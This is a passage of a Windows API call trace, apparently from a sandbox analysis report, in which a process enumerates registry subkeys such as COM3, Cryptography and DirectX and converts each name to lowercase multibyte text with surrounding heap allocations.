lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x1d7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0031.233] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.233] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.233] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x1d7b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x1d7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.234] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x1d7b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x1d7c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.234] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x1d7b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x1d7c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.234] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x1d7b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x1d7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0031.234] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.234] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.234] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x1d7b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.235] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x1d7b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x1d7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.235] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x1d7b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.235] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x1d7b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x1d7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0031.235] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.235] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.235] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x1d7b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x1d7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.236] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x1d7b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x1d7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.236] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x1d7b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0031.236] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.236] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.236] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x1d7b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x1d7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.237] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x1d7b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.237] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x1d7b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x1d7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.237] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x1d7b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x1d7c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0031.237] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.237] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.238] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x1d7b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x1d7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.238] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x1d7b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x1d7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.238] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x1d7b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x1d7c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.238] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.238] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x1d7b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x1d7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0031.238] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bbb8) returned 1 [0031.239] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x1d7b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x1d7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0031.239] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.239] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, 